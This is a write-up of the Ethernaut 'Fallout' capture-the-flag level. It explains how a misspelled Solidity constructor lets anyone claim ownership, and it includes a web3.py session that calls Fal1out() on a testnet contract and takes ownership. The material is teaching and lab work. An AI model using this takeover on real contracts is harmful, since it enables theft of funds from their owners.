Ethernaut Fallout
The Constructor Function
The constructor is a special function that is used to initialise contract’s state and variables. These are some of its key properties:
- A contract can have only one constructor.
- A constructor code is executed once when a contract is created and it is used to initialise contract state.
- After a constructor code has executed, the final code is deployed to blockchain. This code includes public functions and code reachable through public functions. Constructor code or any internal method used only by the constructor are not included in final code.
- A constructor can be either public or internal.
- An internal constructor marks the contract as abstract.
- In case, no constructor is defined, a default constructor is present in the contract.
Once again, our objective is to claim ownership of the following smart contract:
Based on my previous post, I will solve this challenge by leveraging my initial setup. For this, we only need to update the target contract ABI and address, just like it was done in the first challenge.
I did another tweak to the initialisation script, improving the way it reads the private key of the wallet:
// genesys.py
# This way, we don't have the private key laying around in the file system and just read it from the environment variable.def read_wallet_key(): return getenv("METAMASK_WALLET_KEY")# To set the environment variable just issue:
> export METAMASK_WALLET_KEY="<private wallet key>"
Analysing the Target Smart Contract
After reviewing the contract, there are two functions that are of interest:
- First one is what seems to be a constructor, the “Fallout” function, which has the same name as the contract and sets the ownership of the contract directly to the sender of the transaction;
- Second is the “collectAllocations” function, which withdraws all the money from the contract. Although this one is interesting, neither it matches the challenge objective nor allows us to call it due to the “onlyOwner” modifier.
Looking closer to the contract, specially the constructor, we can see there is a “typo” — one of the “l” on the word “Fallout” is actually a 1 (one) instead. This means that the name of the function does not match the name of the contract, denying it a key property of a constructor:
A constructor code is executed once when a contract is created and it is used to initialise the contract state.
Claiming ownership
Lets claim the ownership of this contract, by issuing the call programmatically:
root@Web3 ❯ python -i genesis.py
[+] Loaded wallet addr: 0xC43D69354685c5718EC4549b7590808dc3f2b533 with balance: 0.097987242993619042
[+] Loaded target contract addr: 0xb8B1eAA36E1BB966C60bE67a5b44440C26D96c62# Checking target contract owner
>>> target_contract.functions.owner().call()
'0x0000000000000000000000000000000000000000'# Creating new transaction template to call Fal1out()
>>> tx = target_contract.functions.Fal1out().buildTransaction({'from':account.address, 'nonce':w3.eth.get_transaction_count(account.address)})# Signing transaction with private key
>>> signed_tx = w3.eth.account.sign_transaction(tx, read_wallet_key())# Relay transaction to Infura node
>>> tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)
>>> tx_hash
HexBytes('0x84a4e19a143efee3a4361843ad8b06b84017ca91b2ef8d7bbca4ab593abf2319')# Checking smart contract owner
>>> target_contract.functions.owner().call()
'0xC43D69354685c5718EC4549b7590808dc3f2b533'
>>> target_contract.functions.owner().call() == account.address
True
Submitting the challenge…
Conclusion
At first, this challenge looks silly, but there is a reason why its there (hint: we all act out a bit of silly, even when coding…):
Up to Solidity 0.4.21, constructors can be defined by the same name of its contract name (documentation). However, this behaviour is not supported anymore from Solidity 0.4.22 and above. The reason being that it induces hacks like the one we have just seen, although contracts are permanent in the blockchain, they are subject to changes in new deployments:
The deployment of a new iteration of the same contract, which changed its name and did not mirror it to the correspondent constructor, can turn out to have a huge cost — Rubixi Smart Contract Story
References
- https://web3py.readthedocs.io/en/stable/index.html
- https://rinkeby.etherscan.io/
- https://ethernaut.openzeppelin.com/
Big props to @the_ethernaut for creating the content.